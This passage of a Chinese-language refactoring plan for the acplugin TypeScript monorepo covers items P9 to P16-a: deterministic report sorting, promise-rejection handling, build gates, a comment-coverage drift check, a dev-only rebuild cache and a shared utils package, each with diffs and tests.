'a/b/c.txt'(宿主无关);修复前 POSIX 上会是 'a\\b\\c.txt'。config.ts:248 已确认 `to: 'a\\b\\c.txt'` 合法(非绝对、split(/[\\/]/) 无 '..')。 + +**验收:** 1) 新测试通过,targetPath 为 'a/b/c.txt';2) 现有 scanner.test.ts 全绿(默认目录/collision 用例不变);3) grep 确认仓库内不再有 `targetPath.split(path.sep)` 残留;4) 与 config.ts:248 正则一致。 + +**工作量:** S | **独立分支:** 否 | **风险:** 唯一坑是照抄方案里的 `.join("")` 笔误——必须 `.join('/')`。否则无风险。 + + +--- + +### P9 · report items[] 按稳定键 (kind → id → source) 排序 + +**决策:** 构建 MigrationReport 前对聚合的 items[] 按 (kind, id, source) 三级稳定键排序,不改任何扫描器行为、不改字段内容,仅使报告数组顺序确定。 + +**现状(锚点):** items[] 在 migrate() 内按阶段/扫描顺序 push:marketplace item(:1581)、每工程 writeCanonicalProject 返回的 items(:1600-1608 --all / :1616 / :1626);工程内顺序为 metadata(:1247)→skills→commands→agents(Promise.all 前 push,:1352-1358)→instructions(:1360-1369)→mcp(:1373-1417)→hooks(:1419-1432)→plugin-files(:1434-1441)。report 对象在 index.ts:1635-1638 组装,items 直接引用累计数组,顺序即 push 顺序,受 scan 顺序(readdir 非确定)影响。stableJson 只排对象键,不排数组元素,故 report.json 中 items 顺序当前不确定。 + +**具体改动:** + +在 index.ts 组装 report 前(:1634 注释行之前、:1635 之上)插入一次稳定排序,写回新数组: +``` +// items 顺序不得依赖扫描器 readdir 顺序;按 (kind,id,source) 稳定排序保证报告确定性。 +const sortedItems = [...items].sort((a, b) => + a.kind.localeCompare(b.kind, 'en') + || a.id.localeCompare(b.id, 'en') + || (a.source ?? '').localeCompare(b.source ?? '', 'en')); +``` +把 report 字面量(:1636)的 `items` 改为 `items: sortedItems,`。其余不动。可选:抽成 module 级纯函数 `sortMigrationItems(items)` 便于单测直接调用,但内联足够(YAGNI)。fields 内部顺序保持不变(字段报告有其自身语义顺序,且各处 Object.keys 已 localeCompare 排序,无需再动)。 + +**边界与连带:** id 可能重复(P3 消歧后应唯一;未做 P3 时同 kind 可能同 id)——加 source 作三级键可稳定区分绝大多数;若 kind+id+source 仍相同(理论上同一资源不会),排序稳定回退到 Array.sort 稳定性(Node 保证),无害。source 对聚合类 item(marketplace/metadata 用 '.'、hook-file 用相对路径)均有值或用 ?? '' 兜底,不会 throw。localeCompare('en') 与仓库既有排序一致,跨平台稳定。不触碰扫描器、不引入 Core 内部依赖(纯字符串比较),满足隔离子系统只用公开 API 约束。与 P3 协同:P3 已排序 scan 集合,P9 再对最终 items 排序是幂等叠加,二者独立成立。 + +**测试:** 文件: packages/test/test/migration.test.ts。 +新增用例 'orders report items by stable (kind,id,source) key':造含多类资源(≥2 skills 乱序名、1 command、1 agent、1 instruction)的 legacy project,迁移后断言 report.items 的 (kind,id) 序列等于按键排序后的期望序列: +``` +const keys = report.items.map(i => `${i.kind}:${i.id}`); +expect(keys).toEqual([...keys].sort((a,b)=>a.localeCompare(b,'en'))); +``` +更强的确定性断言:对同一 fixture 迁移两次(不同 destination),断言两次 report.items 的 (kind,id,source) 序列完全一致。也可在现有 'preserves Command, Skill, Agent, metadata...' 用例(:287)末尾追加一行断言 items 已排序,复用其丰富资源集,避免新建大 fixture。 + +**验收:** report.items 始终按 (kind,id,source) 升序;相同输入的两次迁移产生逐元素一致的 items 数组(且 report.json 字节一致)。扫描器输出、字段内容、成功/失败判定、各资源 destination 均不变。现有 migration 测试全部通过(现有断言用 toContainEqual/arrayContaining,不依赖顺序,不受影响)。 + +**工作量:** S | **独立分支:** 否 | **风险:** none — 纯数组重排,现有断言均为顺序无关(toContainEqual/arrayContaining/toMatchObject),无回归风险。可与 P3 同分支提交(同文件、同确定性主题)。 + + +--- + +### P10 · pendingArtifacts 用 try/finally + Promise.allSettled 兜底,消除 apply 抛错时的未处理 rejection 窗口 + +**决策:** 把 `adapter.apply` 与 `Promise.all(pendingArtifacts)` 包进 try,在 finally 里 `await Promise.allSettled(pendingArtifacts)`,保证无论 apply 如何退出每个 emit promise 都被观察;Promise.all 仍负责把首个 rejection 作为构建失败向上抛。 + +**现状(锚点):** packages/core/src/lifecycle.ts:556-580。Adapter 上下文的 emitArtifact 回调(:569-571)把 `draft.emitArtifact(...)` 返回的 promise `push` 进 `pendingArtifacts`(:557 声明),自身不 await。随后 :579-580:`await adapter.apply(context, extensionRuntime.built as never); await Promise.all(pendingArtifacts);`。若 apply 抛错(或某个 emit 先 reject 让 Promise.all 提前 reject),其余已在途的 emit promise 无人 await——形成未处理 rejection 窗口。该块整体位于平台生成 try/catch(:517-680)内,任何抛错会被 :675 捕获成 PLATFORM_GENERATION_FAILED + removePlatform。 + +**具体改动:** + +仅改 :579-580: +``` +- await adapter.apply(context, extensionRuntime.built as never); +- await Promise.all(pendingArtifacts); ++ try { ++ await adapter.apply(context, extensionRuntime.built as never); ++ await Promise.all(pendingArtifacts); ++ } finally { ++ // 无论 apply 如何退出,都观察每个 emit promise,消除未处理 rejection 窗口。 ++ await Promise.allSettled(pendingArtifacts); ++ } +``` +保持 12 空格缩进,置于 for-each extensionRuntime 循环体内。 + +**边界与连带:** 1) 成功路径行为不变:apply await 返回后 pendingArtifacts 已定型(apply 返回后 context 不再被使用,不会再 push),Promise.all 已 await 全部,finally 的 allSettled 只是对已 settled promise 再 await,零副作用。2) 失败路径:Promise.all 仍在 try 内 reject/抛出,驱动平台失败(PLATFORM_GENERATION_FAILED),finally 的 allSettled 只负责“观察”其余 rejection(附加 handler),不会吞掉原始错误(finally 不 return);allSettled 自身永不 reject。3) 确定性零影响:artifacts.ts:124 的 `artifacts` getter 按 path localeCompare 排序输出,产物顺序与 promise 结算顺序无关;且失败平台会被 removePlatform 丢弃。4) 不改契约、不改 emitArtifact 签名、不新增依赖。 + +**测试:** packages/core/test/lifecycle.test.ts 新增(os/path 已导入): +``` +it('observes every emitted Artifact promise even when an Adapter throws before awaiting them', async () => { + const unhandled: unknown[] = []; + const onUnhandled = (reason: unknown): void => { unhandled.push(reason); }; + process.on('unhandledRejection', onUnhandled); + try { + const platform = definePlatform({ id: 'leak-platform', apiVersion: '1', deliveryType: 'plugin', + prepare: () => ({ documents: [], artifacts: [] }), + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + validateBundle: () => undefined }); + const leaky = defineExtension({ name: 'leaky-extension', apiVersion: '1', + discover: () => ({ enabled: true }), + adapters: [{ extensionApiVersion: '1', platform: 'leak-platform', platformApiVersion: '1', + apply(context) { + // 校验阶段必然 reject 的 emit(来源既越权又不存在),随后 apply 在 Promise.all 之前抛错 + context.emitArtifact({ path: 'orphan.txt', source: { type: 'file', path: path.join(os.tmpdir(), 'acplugin-never-exists-xyz') } }); + throw new Error('adapter throws before Promise.all'); + } }] }); + const root = await temporaryRoot(); + const result = await executeLifecycle({ config: lifecycleConfig(root, 'validate', [platform], [leaky]), loadTypeScriptModule: async () => undefined, environment: {} }); + await new Promise(resolve => setTimeout(resolve, 0)); // 冲刷微/宏任务,让漏掉的 rejection 有机会触发 + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'PLATFORM_GENERATION_FAILED', platform: 'leak-platform' })); + expect(unhandled).toEqual([]); // 修复前此断言失败:orphan promise 未被观察 + } finally { process.off('unhandledRejection', onUnhandled); } +}); +``` +该用例的鉴别力:旧代码 apply 抛错后从不 await Promise.all,orphan emit promise 无 handler → unhandledRejection 触发,`unhandled` 非空;新代码 finally 的 allSettled 在 executeLifecycle resolve 前就观察了它,`unhandled` 为空。 + +**验收:** pnpm -C packages/core test 通过;新用例在打了本补丁时绿、回退补丁时红(unhandled 非空)。既有 lifecycle 成功/失败用例产物顺序与断言不变。 + +**工作量:** S | **独立分支:** 否 | **风险:** none(纯兜底观察,不改成功/失败语义与产物;唯一新增测试依赖 process 级 unhandledRejection 监听 + 一个 setTimeout(0) 冲刷,属常见可靠模式)。 + + +--- + +### P11 · 两 Extension 包加 publint+attw(对齐主包)+ tsconfig.base 开 isolatedDeclarations + +**决策:** ① hooks/mcp 两个 tsdown.config.ts 各加 `publint: true` 与 `attw: { profile: 'esm-only', level: 'error' }`,与主包 packages/acplugin/tsdown.config.ts:22-23 完全一致;② tsconfig.base.json 开 `isolatedDeclarations: true`,并【必须同时】加 `declaration: true`(否则 TS5069),noEmit:true 已在,保持只检查不产出。两包代码经实测已 ID-clean,无需补类型标注。 + +**现状(锚点):** 已 Read 并实测。 +- packages/extensions/hooks/tsdown.config.ts:4-13,末尾 `sourcemap: false,` 后直接是 `deps: { neverBundle: ['@tokenroll/acplugin'] },`,无 publint/attw。 +- packages/extensions/mcp/tsdown.config.ts:5-17,同样 `sourcemap: false,` 后接 `deps: { neverBundle: [...] },`,无 publint/attw。 +- 参照物(已正确):packages/acplugin/tsdown.config.ts:22-23 = `publint: true,` + `attw: { profile: 'esm-only', level: 'error' },`。 +- tsconfig.base.json:26-33 现有 strict/noUncheckedIndexedAccess/exactOptionalPropertyTypes/verbatimModuleSyntax/isolatedModules/resolveJsonModule/skipLibCheck/noEmit,无 declaration、无 isolatedDeclarations。所有包 tsconfig 均 extends base 且 include `src/**/*.ts`+`test/**/*.ts`(core/6平台/hooks/mcp/acplugin/test 均已确认)。 + +**具体改动:** + +# packages/extensions/hooks/tsdown.config.ts —— sourcemap 行后插 2 行 + sourcemap: false, ++ publint: true, ++ attw: { profile: 'esm-only', level: 'error' }, + deps: { neverBundle: ['@tokenroll/acplugin'] }, + +# packages/extensions/mcp/tsdown.config.ts —— 同样插 2 行 + sourcemap: false, ++ publint: true, ++ attw: { profile: 'esm-only', level: 'error' }, + deps: { neverBundle: ['@tokenroll/acplugin'] }, + +# tsconfig.base.json —— 在 isolatedModules 后插 2 行(位置任意,放此处最贴切) + "isolatedModules": true, ++ "declaration": true, ++ "isolatedDeclarations": true, + "resolveJsonModule": true, + +代码改动:无。实测两包 src+test 已 ID-clean(见 tests),不需要任何显式返回类型标注。 + +**边界与连带:** 全部经真实工具链(tsdown v0.22.14 / tsc v7.0.2)实测: +1) 【已验证 attw profile 必须 esm-only】默认/strict profile 对两包报 `❌ No resolution (node10)` + `⚡ CJS resolves to ESM (node16-cjs)`;换 `profile:'esm-only'` 后两包均 `[attw] No problems found`、`[publint] No issues found`、build exit 0。原因:两包是纯 ESM(type:module、exports 仅 import 条件),esm-only 正是为此设计,忽略 node10/CJS 类问题 —— 与主包同款,故 level:'error' 安全。 +2) 【已验证 isolatedDeclarations 需 declaration】单开 isolatedDeclarations 直接 `error TS5069: … cannot be specified without … 'declaration' or … 'composite'`。故必须同时加 declaration:true。 +3) 【已验证 declaration+noEmit 只检查不产出】11 个 tsconfig 全跑 `tsc -p … --isolatedDeclarations --declaration` 均 exit 0,且 src 下无任何 .d.ts 落地(noEmit:true 生效)。 +4) 【已验证全仓 ID-clean】core/hooks/mcp/acplugin/6平台/test 共 11 个 tsconfig 全部 exit 0 —— 与全包已用 `dts:{generator:'oxc'}` 一致(oxc dts 本就要求 isolated-declarations 可发射)。所以本项对 src 零改动。 +5) 确定性:isolatedDeclarations 只影响 `tsc` 类型检查,tsdown 构建走 oxc 自己的 dts 管线,不读 tsconfig.declaration → dist 字节不变;attw/publint 是构建期 pass/fail 门禁,输出无 timestamp/路径,不进产物。 +6) 主包已带这两门禁,base 全局开 isolatedDeclarations 是把『oxc-dts 可发射性』升级为 typecheck 层强制(纵深防御),无其它配置连带。 +7) 应对(仅备用,当前用不到):若未来某文件不 ID-clean,tsc 会指名报 TS9xxx,最小修法是给该导出符号补显式返回类型/`satisfies`,不要退回全文件 any。 + +**测试:** 不新增 Vitest —— 门禁本身即测试(回归即构建失败)。验收用命令断言: +- `pnpm --filter @tokenroll/acplugin-extension-hooks run build` 与 `… -mcp run build` 输出含 `[attw] No problems found` + `[publint] No issues found`,exit 0。 +- `pnpm -w run typecheck` 在 base 开 isolatedDeclarations+declaration 后全绿(覆盖 11 包 src+test)。 +- 确定性:改前改后各跑一次 `pnpm -w run build`,`git status packages/*/dist` 无字节差异(证明 tsconfig 改动不影响产物)。 + +**验收:** 两扩展 build 均 attw(esm-only)+publint 绿;pnpm typecheck 全仓绿(含 declaration+isolatedDeclarations);pnpm build 产物字节与改动前一致;两 tsdown.config 的新增行与主包逐字一致。 + +**工作量:** S | **独立分支:** 否 | **风险:** none(三项改动均已用真实 tsdown/tsc 实测通过;唯一强约束是 declaration:true 必须与 isolatedDeclarations 同时加,方案已含)。 + + +--- + +### P13 · 注释守卫防漂移:check-comments 增加生产 src glob,未登记文件即失败 + +**决策:** check-comments.mjs 递归收集 packages/*/src/**/*.ts,凡不在 comment-coverage.json.enforcedFiles 的生产源码文件即报错退出,防止新增源码文件绕过中文注释守卫。用 stdlib 递归 readdir(不用 fs.globSync,兼容 engines>=20)。 + +**现状(锚点):** scripts/check-comments.mjs:135-146 main() 只遍历 coverage.enforcedFiles 做缺失注释检查,不校验是否有生产源码文件遗漏登记 —— 新加的 src 文件不进 enforcedFiles 就永远不被守卫,产生静默漂移。package.json engines.node='>=20';fs.globSync 直到 Node 22 才可用,不能依赖(当前机器 v22 但 CI/协作者可能 20)。已核实当前 packages/*/src/**/*.ts 共 32 个、0 个未登记,故引入该 gate 不会立即误红。 + +**具体改动:** + +check-comments.mjs:第 1 行 import 增加 readdirSync: +`import { readFileSync, readdirSync } from 'node:fs';` +新增两个纯函数: +``` +/** 递归收集一个目录下的全部生产 TypeScript 源文件。 */ +function collectSources(directory) { + const files = []; + for (const entry of readdirSync(directory, { withFileTypes: true }).sort((a, b) => a.name.localeCompare(b.name, 'en'))) { + const full = path.join(directory, entry.name); + if (entry.isDirectory()) files.push(...collectSources(full)); + else if (entry.isFile() && entry.name.endsWith('.ts') && !entry.name.endsWith('.d.ts')) files.push(full); + } + return files; +} +/** 收集所有 packages/*/src 下的生产源码,路径规范化以便与 enforcedFiles 比对。 */ +function productionSources() { + const result = []; + for (const pkg of readdirSync('packages', { withFileTypes: true })) { + if (!pkg.isDirectory()) continue; + try { result.push(...collectSources(path.join('packages', pkg.name, 'src'))); } + catch (error) { if (error.code !== 'ENOENT') throw error; } + } + return result.map(file => path.normalize(file)); +} +``` +main() 在读 coverage 之后、缺失注释检查之前插入漂移 gate: +``` + const enforced = new Set(coverage.enforcedFiles.map(file => path.normalize(file))); + const uncovered = productionSources().filter(file => !enforced.has(file)); + if (uncovered.length > 0) { + process.stderr.write(`以下生产源码未纳入注释守卫覆盖范围:\n${uncovered.map(item => `- ${item}`).join('\n')}\n`); + process.exitCode = 1; + return; + } +``` + +**边界与连带:** 确定性:collectSources 对目录项 localeCompare 排序,输出稳定;路径统一 path.normalize 与 enforcedFiles(仓库根相对)比对——脚本本就假定 cwd=仓库根(COVERAGE_FILE='scripts/comment-coverage.json' 直接相对读取),npm script `comments:check` 从根运行,一致。范围仅生产 src(排除 .d.ts、dist、test/;packages/test 无 src 目录故其测试文件不被强制)。ENOENT(无 src 的包)吞掉。不改反向检查(enforcedFiles 里已删文件的陈旧项)——超出本项范围,且 missingComments 遇 ENOENT 本会抛,另议。当前 0 未登记,引入即绿。 + +**测试:** 该脚本无 vitest 宿主,采用最小可运行验收(ponytail 式 smallest check),写入 CI/手册: +1) 在 packages/core/src 放临时探针 `__drift_probe.ts`(不加入 enforcedFiles)→ `node scripts/check-comments.mjs`(或 pnpm comments:check)→ 断言退出码 1 且 stderr 含 'packages/core/src/__drift_probe.ts';删探针 → 退出码 0。 +2) 回归:未加探针时 `pnpm comments:check` 仍打印 `中文注释守卫已覆盖 N 个文件。` 且退出 0。 +可选:若要 CI 固化,加一个 node:test `scripts/check-comments.test.mjs` 只测 productionSources()/uncovered 计算(需先把这两函数 export);当前 YAGNI,不强制。 + +**验收:** 1) 存在任一 packages/*/src/**/*.ts(非 .d.ts)未登记 enforcedFiles 时 comments:check 非零退出并列出该文件;2) 全登记时行为与现状一致(打印覆盖数、退出 0);3) 不依赖 fs.globSync,Node 20 可运行;4) 现有 lint 流水线全绿。 + +**工作量:** S | **独立分支:** 否 | **风险:** none —— 已核实当前无未登记文件,不会引入误红;若将来有意保留某 src 文件不登记,需在脚本加显式白名单(当前无此需求,YAGNI)。 + + +--- +## S3 — 架构级(dev 缓存 + utils 去重) + +### P14 · dev 增量缓存:Core 层通用记忆化(dev-only,内存跨 rebuild) + +**决策:** 在 executeProject 之上包一层进程内缓存(NOT 在 executeLifecycle 内),粒度=整条 project 执行(输入指纹→上次 ProjectExecution),存储=内存 Map(跨 chokidar rebuild,不落磁盘),仅 command==='dev' 生效;key = stableJson(所有 component body+sourcePath+mode + publicFiles 内容 hash + 冻结 config 快照 + lifecycleWatchFiles 内容 hash + LIFECYCLE_API_VERSION + ACPLUGIN_VERSION + node major)。命中即跳过 executeLifecycle 直接复用上次 result/watchPaths;不进 dist 因为命中时根本不重新 commit(上次已 commit 且字节相同)。build 路径完全不接缓存。 + +**现状(锚点):** 生命周期入口 packages/core/src/lifecycle.ts:218 executeLifecycle:每次运行 fs.mkdtemp 建 runtimeRoot(:222),结束 finally fs.rm(runtimeRoot)(:728) —— 所有 workDir 及其中 file-source artifact 每轮销毁。extension build 单次运行内复用雏形在 lifecycle.ts:485 `runtime.built = await runtime.extension.build?(...)`,build 只调一次,:579 各 platform adapter 复用同一 built;这是【单运行内】复用,无跨运行缓存。CLI dev 重建入口:packages/acplugin/src/cli.ts:378 performRebuild → executeProject;每次文件变更经 cli.ts:326 scheduleRebuild(50ms 防抖)→ rebuild()→ runRebuildQueue()→ performRebuild()。executeProject 在 packages/acplugin/src/run-project.ts:44,内部 run-project.ts:98 executeLifecycle 一次,收集 lifecycleWatchFiles(:103 onWatchFile),返回 ProjectExecution{result,projectRoot,outDir,watchPaths,dependencyRoots}(:124)。关键现实核对(与方案措辞不符,必须按真实源码设计):(1) scanner【未】给 component 附 SHA-256 —— grep 确认 sha256 只在 types.ts:291/318 的 Artifact/ArtifactReport 上,由 ArtifactRegistry 后期计算(artifacts.ts:42 hashFile);PluginProject.commands/skills/agents(types.ts:98-152)只带 body(已读入内存的文件内容)+sourcePath,publicFiles(types.ts:158)只带 sourcePath。故 L1 指纹必须由缓存层【自己算】,body 就是天然内容源,publicFiles 需读盘 hash。(2) 平台无 per-package semver:contracts.ts:15 LIFECYCLE_API_VERSION='1' 是唯一常量,platform/extension 只带 apiVersion。工具版本只能取 ACPLUGIN_VERSION + process.versions.node major。tsdown/rolldown 版本 core 未 import,见下 risks。(3) config 快照可 hash:run-project.ts:50 config:ResolvedConfig(types.ts:253)含 root/command/mode/metadata/srcDir/public/platforms/extensions/outDir/strict。 + +**具体改动:** + +只加一个薄缓存层,不动 executeLifecycle 内部(§18 build 语义不能碰)。 + +【新增文件】packages/acplugin/src/dev-cache.ts(放 acplugin 主包而非 core:key 需 ACPLUGIN_VERSION,且 executeProject 就在主包;Core 不该知道 dev-watch 存储策略): +```ts +import { createHash } from 'node:crypto'; +import { promises as fs } from 'node:fs'; +import process from 'node:process'; +import { stableJson, LIFECYCLE_API_VERSION, type ResolvedConfig } from '@acplugin/core'; +import { ACPLUGIN_VERSION } from './index.js'; +import type { ProjectExecution } from './run-project.js'; + +// ponytail: 进程内单例 Map,dev 进程生命周期即缓存生命周期;不落盘 => 天然不进 dist,进程退出即清。 +const cache = new Map(); + +async function sha256File(file: string): Promise { + try { return createHash('sha256').update(await fs.readFile(file)).digest('hex'); } + catch { return 'ENOENT'; } // 缺失文件参与 key => 下轮存在时 key 变、自然失效 +} + +// 只 hash 与产物字节相关的输入:component body(已在内存)、public 文件内容、 +// extension bundler 实际读到的模块图(lifecycleWatchFiles)、冻结 config、工具版本。 +export async function computeCacheKey( + config: ResolvedConfig, + watchedModuleFiles: readonly string[], +): Promise { + const project = /* 见下:需要 body。见 risks:executeProject 目前不返回 project */; + const publicHashes = await Promise.all(config.public.enabled ? [] : []); // 见 changes 下方 + const fingerprint = { + apiVersion: LIFECYCLE_API_VERSION, + tool: ACPLUGIN_VERSION, + node: process.versions.node.split('.')[0], + command: config.command, mode: config.mode, + config: { srcDir: config.srcDir, strict: config.strict, outDir: config.outDir, + metadata: config.metadata, public: config.public, + platforms: config.platforms.map(p => ({ id: p.platform.id, api: p.platform.apiVersion, + delivery: p.platform.deliveryType, strict: p.strict, options: p.platform.options })), + extensions: config.extensions.map(e => ({ name: e.name, api: e.apiVersion })) }, + modules: /* [path, sha256File(path)] 排序后数组 */, + components: /* 见 risks: 需拿到 project 的 body/sourcePath/mode */, + }; + return createHash('sha256').update(stableJson(fingerprint)).digest('hex'); +} + +export function getCached(key: string): ProjectExecution | undefined { return cache.get(key); } +export function setCached(key: string, value: ProjectExecution): void { + if (cache.size > 8) cache.clear(); // ponytail: dev 单工程,>8 key 只可能是长会话漂移,整体清比 LRU 省 + cache.set(key, value); +} +``` + +【改 run-project.ts】把缓存作为 executeProject 的一层壳。有两个可行接法,取【壳法】(改动最小、不污染 build 路径): +1. 抽出现有 executeProject 主体为不带缓存的 `runProjectExecution(options)`(直接把当前 44-124 行原样改名)。 +2. 新 executeProject 包壳: +```ts +export async function executeProject(options: RunProjectOptions): Promise { + if (options.command !== 'dev') return runProjectExecution(options); // build/validate/inspect 零缓存 + // dev:先 loadProjectConfig 拿 config + 先跑一次拿到 project+watchedModuleFiles 才能算 key —— 见 risks 的鸡生蛋。 + // 采用【运行后写、运行前查】需要在不执行 lifecycle 的情况下先得到指纹输入。 + // 落地方案见 edgeCases「指纹输入来源」。 +} +``` + +【run-project.ts 需要新增返回 project】:computeCacheKey 需要 component body。ProjectExecution 当前不含 project。最小改动:executeLifecycle 已在内部 scanProject;但它不回传 project(只回 BuildResult)。选择【在缓存层独立 scanProject 一次算指纹】而不是改 executeLifecycle 签名 —— scanProject 是纯读、无副作用(scanner.ts:1183),dev 下多跑一次扫描成本可接受且不破坏 §18。即缓存层:loadProjectConfig → scanProject(config, throwaway DiagnosticCollector) 得 project.body → 若扫描有 error 则 key 不稳定,直接 fallback 到 runProjectExecution(不缓存)。 + +【public 文件 hash】config.public.enabled 时,glob/复制规则在 scanner 内已解析为 project.publicFiles(sourcePath),直接对每个 sourcePath sha256File。 + +【不进 dist 保证】命中路径【完全不调用 executeLifecycle】=> 不 mkdtemp、不 commit、不碰 outDir;上次 miss 时已 commit 且因 key 相同字节必然相同,dist 保持上次结果。这就是 dev-only 且不进稳定产物的物理保证。 + +**边界与连带:** 【指纹输入来源(核心坑)】key 需要 component body + extension 读到的模块图(lifecycleWatchFiles)。前者 scanProject 纯读可得;后者【只有跑完 lifecycle 才知道】(onWatchFile 在 build 阶段回调)。解法:两段式——(a) 用 scanProject 得到的 project.body + publicFiles hash + config + 工具版本算【源指纹 sourceKey】;(b) 模块图(node_modules 里的 extension handler)变化由 chokidar 的 dependencyRoots 监听已覆盖,其内容变化会触发 rebuild,但【不必进 key】——因为若 extension bundle 输入变了、chokidar 触发 rebuild、而 sourceKey 未变则会误命中。所以【模块图必须进 key】:改为缓存层在【首次 miss 执行后】用返回的 watchPaths∩(在 dependencyRoots 内的文件) 事后 hash 组成完整 key 存入;查时先算 sourceKey 找候选,再对候选记录的 moduleFiles 重新 hash 比对,任一变化即 miss。即缓存 value 附带 {moduleFileHashes},命中判定=sourceKey 命中 且 moduleFileHashes 全部逐一 re-hash 相等。这样避免鸡生蛋,且模块内容变化必然失效。 +【确定性/§18】缓存只影响 dev 且命中时产物字节与上次 commit 完全一致(key 覆盖全部产物决定因素),不引入 timestamp/绝对路径/随机:key 里 config.root/outDir 是绝对路径但只进 hash 不进产物,且 dev 本就机器本地,不影响稳定产物字节。build 路径 command!=='dev' 直接绕过,§18 事务全量提交语义零改动。 +【工具版本】ACPLUGIN_VERSION(index.ts 已导出)+ node major 足够触发跨版本失效;tsdown/rolldown 版本见 risks(用 lockfile hash 兜底)。 +【失效条件】任一 component body、public 内容、config 快照字段、任一 module 文件内容、ACPLUGIN_VERSION、node major、LIFECYCLE_API_VERSION 变化 → key 变 → miss。scan 出 error → 不缓存(fallback)。 +【连带改动】cli.ts 无需改(仍调 executeProject);run-project.ts export 需新增 runProjectExecution 供壳调用(或壳内联)。index.ts 无需导出 dev-cache(纯内部)。 +【跨平台】全部走 stableJson(键排序)+ crypto sha256,无路径分隔符进产物;sha256File 读字节不解码,不受行尾/编码影响。 +【connections】migrate/init 不经 executeProject,不受影响。 + +**测试:** 新增 packages/acplugin/test/dev-cache.test.ts(vitest),参照 lifecycle.test.ts 的 temporaryRoot 夹具与 config-loader.test.ts 的工程搭建风格。用例骨架: +1. hit: 同一工程连续两次 executeProject({command:'dev'}) —— 第二次命中,断言两次 result 深相等 且 executeLifecycle 只被调一次(spy/counter:在缓存层注入一个可观察计数,或断言 outDir 的 mtime 第二次未变作为「未重新 commit」证据)。 +2. miss-on-source: 两次之间修改一个 command .md body → 断言未命中(result 反映新内容,且发生了新 commit)。 +3. miss-on-tool-version: monkeypatch computeCacheKey 依赖的 ACPLUGIN_VERSION 或 process.versions.node → 断言 key 变、miss。用例通过导出 computeCacheKey 直接断言两组输入 key 不等,避免真的改进程版本。 +4. miss-on-module-change: extension handler 文件内容变更 → 断言 moduleFileHashes 比对失败 → miss。 +5. build-bypass: executeProject({command:'build'}) 两次 → 断言【从不】写入 cache(getCached 恒空),证明 build 不接缓存。 +6. not-in-dist: 命中后断言 outDir 内容与首次完全一致 且 无新增临时 acplugin-work-* 目录残留(命中不 mkdtemp)。 +关键断言点:computeCacheKey 是纯函数、同输入同 key、异输入异 key(直接单测最省)。副作用(executeLifecycle 调用次数)用注入计数器观察。 + +**验收:** 1. dev 下无源码/配置/工具/模块变化的连续 rebuild 第二次起命中,不重新执行 executeLifecycle、不重新 commit、不新建 acplugin-work-* 临时目录;2. 修改任一 component body/public 内容/config 字段/extension 模块内容/node major/ACPLUGIN_VERSION 均导致 miss 并产出与全量构建【逐字节相同】的结果;3. build/validate/inspect 完全不接触缓存(cache 恒空);4. 命中/失效均不改变 dist 字节(§18 稳定产物不受 dev 缓存影响);5. computeCacheKey 单测:同输入同 key、异输入异 key;6. 全部现有 core/acplugin 测试与 pnpm build 通过,无新私有 workspace 依赖(dev-cache.ts 只依赖 @acplugin/core 与本包)。 + +**工作量:** M | **独立分支:** 是 | **风险:** 【R1 tsdown/rolldown 版本不可得】方案硬约束要求 key 含 tsdown/rolldown/node major,但 core/acplugin 源码未 import tsdown/rolldown(它们是构建期工具,运行期不可见其 semver)。落地取舍:node major 用 process.versions.node;tsdown/rolldown 版本用【lockfile(pnpm-lock.yaml)内容 hash】作为工具链整体指纹的稳定代理(lockfile 变 => 工具版本可能变 => 失效),或退一步只用 ACPLUGIN_VERSION(主包 bump 时必然连带工具升级)。建议:key 里加 lockfile hash(读 config.root 向上找 pnpm-lock.yaml,读不到则跳过),既满足「工具版本变更失效」验收又不引入运行期依赖。需与用户确认代理是否可接受。 +【R2 鸡生蛋(模块图)】extension 实际读的模块图只有跑完才知道 => 采用「sourceKey 找候选 + 候选记录的 moduleFileHashes 事后 re-hash 比对」两级命中(见 edgeCases),而非把模块图塞进单一 key。这是本项唯一有设计密度的部分,需在实现时确保 moduleFiles 取自 execution.watchPaths 中落在 dependencyRoots 内者。 +【R3 独立 scanProject 双扫】缓存层为算指纹会额外 scanProject 一次(纯读,scanner.ts:1183)。dev 下可接受;若成为热点,可后续让 executeLifecycle 可选回传 project 复用扫描,但当前不做(YAGNI)。 +【R4 需确认】是否接受「命中时跳过整条 lifecycle」而非「lifecycle 内 per-platform 记忆化」——方案原文提「记忆化边界在 prepare/generateBundle/build」,但那需在 executeLifecycle 内改造并捕获/重放 reportCompatibility/reportMetadata/reportDiagnostic/addWatchFile 全部副作用回调(lifecycle.ts:519-531,573,491-495)以保报告确定性,复杂度 L 且直接违反「build 事务全量」的边界清晰性。整条执行级缓存(壳法)语义等价、副作用天然被完整复用(直接返回上次 ProjectExecution)、且 executeLifecycle 零改动,是更贴合 §18 与依赖边界的落法。若用户坚持 per-platform 粒度,工作量升 L 且需独立设计副作用录制层。 + + +--- + +### P16-a · 新建 private @acplugin/utils 包并汇入平台无关纯 helper(含 Codex 三路径函数合一) + +**决策:** 在 packages/utils 建一个 private:true 的 @acplugin/utils 包(镜像 @acplugin/core 的包形态),集中六平台重复的纯守卫;三个 Codex 路径函数统一为单一 isSafeRelativeReference(严格超集,只更严不更松)。 + +**现状(锚点):** 无 packages/utils(已确认:`ls packages/utils`→不存在)。重复副本(已逐一 Read 确认字节一致):isRecord 在 claude-code/src/validator.ts:99、codex/src/validator.ts:99、cursor/src/validator.ts:25、pi/src/validator.ts:23、opencode/src/validator.ts:18(均 `value!==null&&typeof value==='object'&&!Array.isArray(value)`,返回 `value is JsonRecord`);isNonEmptyString 在 claude-code/src/components.ts:48、codex/src/components.ts:53、cursor/src/manifest.ts:30、pi/src/manifest.ts:27(均 `typeof v==='string'&&v.trim().length>0`);report(带可选 fieldPath)在 claude validator:111、cursor validator:37、codex validator:111,report(无 fieldPath)在 antigravity validator:13、opencode validator:29、pi validator:34;readJson 在 claude validator:132、codex validator:132(逻辑相同,仅诊断码 CLAUDE_ vs CODEX_ 不同);referenceExists 在 claude validator:179、codex validator:210(字节一致;cursor validator:74 是 glob 版,不同,不迁);scopedArtifacts 在 claude validator:447、codex validator:229(字节一致)。三路径函数行为差异(关键):isSafePluginReference(claude:158/codex:189)用 path.posix.normalize,拒 `.`/`..`/`../`前缀/绝对/反斜杠/NUL/空;isSafeCodexPluginPath(codex/protocol.ts:71)与 isSafeSkillPath(codex/components.ts:75)彼此字节一致,不 normalize,改用 `relative.split('/').includes('..')` 拒任何 `..` 段,但放行裸 `.` 和 